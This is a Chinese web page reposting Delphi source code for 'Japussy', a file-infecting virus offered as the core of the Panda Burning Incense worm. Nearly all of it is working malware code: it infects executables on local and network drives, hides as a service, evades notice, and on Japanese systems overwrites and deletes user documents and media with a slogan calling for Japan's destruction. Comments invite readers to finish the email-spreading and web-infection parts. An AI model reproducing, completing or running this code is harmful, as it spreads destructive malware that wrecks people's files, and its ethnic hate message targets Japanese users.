Delphi版模仿熊貓燒香病毒核心源碼

字號(hào):

Word-WRAP: break-word" bgColor=#f3f3f3>以下是引用片段:
    program Japussy;
    uses
     Windows, SysUtils, Classes, Graphics, ShellAPI{, ReGIStry};
    const
     HeaderSize = 82432; //病毒體的大小
     IconOffset = $12EB8; //PE文件主圖標(biāo)的偏移量
     //在我的Delphi5 SP1上面編譯得到的大小,其它版本的Delphi可能不同
     //查找2800000020的十六進(jìn)制字符串可以找到主圖標(biāo)的偏移量
    {
     HeaderSize = 38912; //Upx壓縮過(guò)病毒體的大小
     IconOffset = $92BC; //Upx壓縮過(guò)PE文件主圖標(biāo)的偏移量
     //Upx 1.24W 用法: upx -9 --8086 Japussy.exe
    }
     IconSize = $2E8; //PE文件主圖標(biāo)的大小--744字節(jié)
     IconTail = IconOffset + IconSize; //PE文件主圖標(biāo)的尾部
     ID = $44444444; //感染標(biāo)記
     //垃圾碼,以備寫(xiě)入
     Catchword = 'If a race need to be killed out, it must be Yamato. ' +
     'If a country need to be destroyed, it must be Japan! ' +
     '*** W32.Japussy.Worm.A ***';
    {$R *.RES}
    function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer;
     stdcall; external 'Kernel32.dll'; //函數(shù)聲明
    var
     TmpFile: string;
     Si: STARTUPINFO;
     Pi: PROCESS_INFORMATION;
     IsJap: Boolean = False; //日文操作系統(tǒng)標(biāo)記
    { 判斷是否為Win9x }
    function IsWin9x: Boolean;
    var
     Ver: TOSVersionInfo;
    begin
     Result := False;
     Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);
     if not GetVersionEx(Ver) then
     Exit;
     if (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then //Win9x
     Result := True;
    end;
    { 在流之間復(fù)制 }
    procedure CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream;
     dStartPos: Integer; Count: Integer);
    var
     sCurPos, dCurPos: Integer;
    begin
     sCurPos := Src.Position;
     dCurPos := Dst.Position;
     Src.Seek(sStartPos, 0);
     Dst.Seek(dStartPos, 0);
     Dst.CopyFrom(Src, Count);
     Src.Seek(sCurPos, 0);
     Dst.Seek(dCurPos, 0);
    end;
    { 將宿主文件從已感染的PE文件中分離出來(lái),以備使用 }
    procedure ExtractFile(FileName: string);
    var
     sStream, dStream: TFileStream;
    begin
     try
     sStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
     try
     dStream := TFileStream.Create(FileName, fmCreate);
     try
     sStream.Seek(HeaderSize, 0); //跳過(guò)頭部的病毒部分
     dStream.CopyFrom(sStream, sStream.Size - HeaderSize);
     finally
     dStream.Free;
     end;
     finally
     sStream.Free;
     end;
     except
     end;
    end;
    { 填充STARTUPINFO結(jié)構(gòu) }
    procedure FillStartupInfo(var Si: STARTUPINFO; State: Word);
    begin
     Si.cb := SizeOf(Si);
     Si.lpReserved := nil;
     Si.lpDesktop := nil;
     Si.lpTitle := nil;
     Si.dwFlags := STARTF_USESHOWWINDOW;
     Si.wShowWindow := State;
     Si.cbReserved2 := 0;
     Si.lpReserved2 := nil;
    end;
    { 發(fā)帶毒郵件 }
    procedure SendMail;
    begin
     //哪位仁兄愿意完成之?
    end;
    { 感染PE文件 }
    procedure InfectOneFile(FileName: string);
    var
     HdrStream, SrcStream: TFileStream;
     IcoStream, DstStream: TMemoryStream;
     iID: LongInt;
     aIcon: TIcon;
     Infected, IsPE: Boolean;
     i: Integer;
     Buf: array[0..1] of Char;
    begin
     try //出錯(cuò)則文件正在被使用,退出
     if CompareText(FileName, 'JAPUSSY.EXE') = 0 then //是自己則不感染
     Exit;
     Infected := False;
     IsPE := False;
     SrcStream := TFileStream.Create(FileName, fmOpenRead);
     try
     for i := 0 to $108 do //檢查PE文件頭
     begin
     SrcStream.Seek(i, soFromBeginning);
     SrcStream.Read(Buf, 2);
     if (Buf[0] = #80) and (Buf[1] = #69) then //PE標(biāo)記
     begin
     IsPE := True; //是PE文件
     Break;
     end;
     end;
    // 本文轉(zhuǎn)自 C++Builder 研究 - http://www.ccrun.com/article.ASP?i=1009&d=72ladj
     SrcStream.Seek(-4, soFromEnd); //檢查感染標(biāo)記
     SrcStream.Read(iID, 4);
     if (iID = ID) or (SrcStream.Size < 10240) then //太小的文件不感染
     Infected := True;
     finally
     SrcStream.Free;
     end;
     if Infected or (not IsPE) then //如果感染過(guò)了或不是PE文件則退出
     Exit;
     IcoStream := TMemoryStream.Create;
     DstStream := TMemoryStream.Create;
     try
     aIcon := TIcon.Create;
     try
     //得到被感染文件的主圖標(biāo)(744字節(jié)),存入流
     aIcon.ReleaseHandle;
     aIcon.Handle := ExtractIcon(HInstance, PChar(FileName), 0);
     aIcon.SaveToStream(IcoStream);
     finally
     aIcon.Free;
     end;
     SrcStream := TFileStream.Create(FileName, fmOpenRead);
     //頭文件
     HdrStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
     try
     //寫(xiě)入病毒體主圖標(biāo)之前的數(shù)據(jù)
     CopyStream(HdrStream, 0, DstStream, 0, IconOffset);
     //寫(xiě)入目前程序的主圖標(biāo)
     CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize);
     //寫(xiě)入病毒體主圖標(biāo)到病毒體尾部之間的數(shù)據(jù)
     CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize - IconTail);
     //寫(xiě)入宿主程序
     CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStream.Size);
     //寫(xiě)入已感染的標(biāo)記
     DstStream.Seek(0, 2);
     iID := $44444444;
     DstStream.Write(iID, 4);
     finally
     HdrStream.Free;
     end;
     finally
     SrcStream.Free;
     IcoStream.Free;
     DstStream.SaveToFile(FileName); //替換宿主文件
     DstStream.Free;
     end;
     except;
     end;
    end;
    { 將目標(biāo)文件寫(xiě)入垃圾碼后刪除 }
    procedure SmashFile(FileName: string);
    var
     FileHandle: Integer;
     i, Size, Mass, Max, Len: Integer;
    begin
     try
     SetFileAttributes(PChar(FileName), 0); //去掉只讀屬性
     FileHandle := FileOpen(FileName, fmOpenWrite); //打開(kāi)文件
     try
     Size := GetFileSize(FileHandle, nil); //文件大小
     i := 0;
     Randomize;
     Max := Random(15); //寫(xiě)入垃圾碼的隨機(jī)次數(shù)
     if Max < 5 then
     Max := 5;
     Mass := Size div Max; //每個(gè)間隔塊的大小
     Len := Length(Catchword);
     while i < Max do
     begin
     FileSeek(FileHandle, i * Mass, 0); //定位
     //寫(xiě)入垃圾碼,將文件徹底破壞掉
     FileWrite(FileHandle, Catchword, Len);
     Inc(i);
     end;
     finally
     FileClose(FileHandle); //關(guān)閉文件
     end;
     DeleteFile(PChar(FileName)); //刪除之
     except
     end;
    end;
    { 獲得可寫(xiě)的驅(qū)動(dòng)器列表 }
    function GetDrives: string;
    var
     DiskType: Word;
     D: Char;
     Str: string;
     i: Integer;
    begin
     for i := 0 to 25 do //遍歷26個(gè)字母
     begin
     D := Chr(i + 65);
     Str := D + ':';
     DiskType := GetDriveType(PChar(Str));
     //得到本地磁盤和網(wǎng)絡(luò)盤
     if (DiskType = DRIVE_FIXED) or (DiskType = DRIVE_REMOTE) then
     Result := Result + D;
     end;
    end;
    { 遍歷目錄,感染和摧毀文件 }
    procedure LoopFiles(Path, Mask: string);
    var
     i, Count: Integer;
     Fn, Ext: string;
     SubDir: TStrings;
     SearchRec: TSearchRec;
     Msg: TMsg;
     function IsValidDir(SearchRec: TSearchRec): Integer;
     begin
     if (SearchRec.Attr <> 16) and (SearchRec.Name <> '.') and
     (SearchRec.Name <> '..') then
     Result := 0 //不是目錄
     else if (SearchRec.Attr = 16) and (SearchRec.Name <> '.') and
     (SearchRec.Name <> '..') then
     Result := 1 //不是根目錄
     else Result := 2; //是根目錄
     end;
    begin
     if (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) then
     begin
     repeat
     PeekMessage(Msg, 0, 0, 0, PM_REMOVE); //調(diào)整消息隊(duì)列,避免引起懷疑
     if IsValidDir(SearchRec) = 0 then
     begin
     Fn := Path + SearchRec.Name;
     Ext := UpperCase(ExtractFileExt(Fn));
     if (Ext = '.EXE') or (Ext = '.SCR') then
     begin
     InfectOneFile(Fn); //感染可執(zhí)行文件
     end
     else if (Ext = '.HTM') or (Ext = '.HTML') or (Ext = '.ASP') then
     begin
     //感染HTML和ASP文件,將Base64編碼后的病毒寫(xiě)入
     //感染瀏覽此網(wǎng)頁(yè)的所有用戶
     //哪位大兄弟愿意完成之?
     end
     else if Ext = '.WAB' then //OutLook地址簿文件
     begin
     //獲取Outlook郵件地址
     end
     else if Ext = '.ADC' then //Foxmail地址自動(dòng)完成文件
     begin
     //獲取Foxmail郵件地址
     end
     else if Ext = 'IND' then //Foxmail地址簿文件
     begin
     //獲取Foxmail郵件地址
     end
     else
     begin
     if IsJap then //是倭文操作系統(tǒng)
     begin
     if (Ext = '.DOC') or (Ext = '.XLS') or (Ext = '.MDB') or
     (Ext = '.MP3') or (Ext = '.RM') or (Ext = '.RA') or
     (Ext = '.WMA') or (Ext = '.ZIP') or (Ext = '.RAR') or
     (Ext = '.MPEG') or (Ext = '.ASF') or (Ext = '.JPG') or
     (Ext = '.JPEG') or (Ext = '.GIF') or (Ext = '.SWF') or
     (Ext = '.PDF') or (Ext = '.CHM') or (Ext = '.AVI') then
     SmashFile(Fn); //摧毀文件
     end;
     end;
     end;
     //感染或刪除一個(gè)文件后睡眠200毫秒,避免CPU占用率過(guò)高引起懷疑
     Sleep(200);
     until (FindNext(SearchRec) <> 0);
     end;
     FindClose(SearchRec);
     SubDir := TStringList.Create;
     if (FindFirst(Path + '*.*', faDirectory, SearchRec) = 0) then
     begin
     repeat
     if IsValidDir(SearchRec) = 1 then
     SubDir.Add(SearchRec.Name);
     until (FindNext(SearchRec) <> 0);
     end;
     FindClose(SearchRec);
     Count := SubDir.Count - 1;
     for i := 0 to Count do
     LoopFiles(Path + SubDir.Strings[i] + '', Mask);
     FreeAndNil(SubDir);
    end;
    { 遍歷磁盤上所有的文件 }
    procedure InfectFiles;
    var
     DriverList: string;
     i, Len: Integer;
    begin
     if GetACP = 932 then //日文操作系統(tǒng)
     IsJap := True; //去死吧!
     DriverList := GetDrives; //得到可寫(xiě)的磁盤列表
     Len := Length(DriverList);
     while True do //死循環(huán)
     begin
     for i := Len downto 1 do //遍歷每個(gè)磁盤驅(qū)動(dòng)器
     LoopFiles(DriverList[i] + ':', '*.*'); //感染之
     SendMail; //發(fā)帶毒郵件
     Sleep(1000 * 60 * 5); //睡眠5分鐘
     end;
    end;
    { 主程序開(kāi)始 }
    begin
     if IsWin9x then //是Win9x
     RegisterServiceProcess(GetCurrentProcessID, 1) //注冊(cè)為服務(wù)進(jìn)程
     else //WinNT
     begin
     //遠(yuǎn)程線程映射到Explorer進(jìn)程
     //哪位兄臺(tái)愿意完成之?
     end;
     //如果是原始病毒體自己
     if CompareText(ExtractFileName(ParamStr(0)), 'Japussy.exe') = 0 then
     InfectFiles //感染和發(fā)郵件
     else //已寄生于宿主程序上了,開(kāi)始工作
     begin
     TmpFile := ParamStr(0); //創(chuàng)建臨時(shí)文件
     Delete(TmpFile, Length(TmpFile) - 4, 4);
     TmpFile := TmpFile + #32 + '.exe'; //真正的宿主文件,多一個(gè)空格
     ExtractFile(TmpFile); //分離之
     FillStartupInfo(Si, SW_SHOWDEFAULT);
     CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True,
     0, nil, '.', Si, Pi); //創(chuàng)建新進(jìn)程運(yùn)行之
     InfectFiles; //感染和發(fā)郵件
     end;
    end.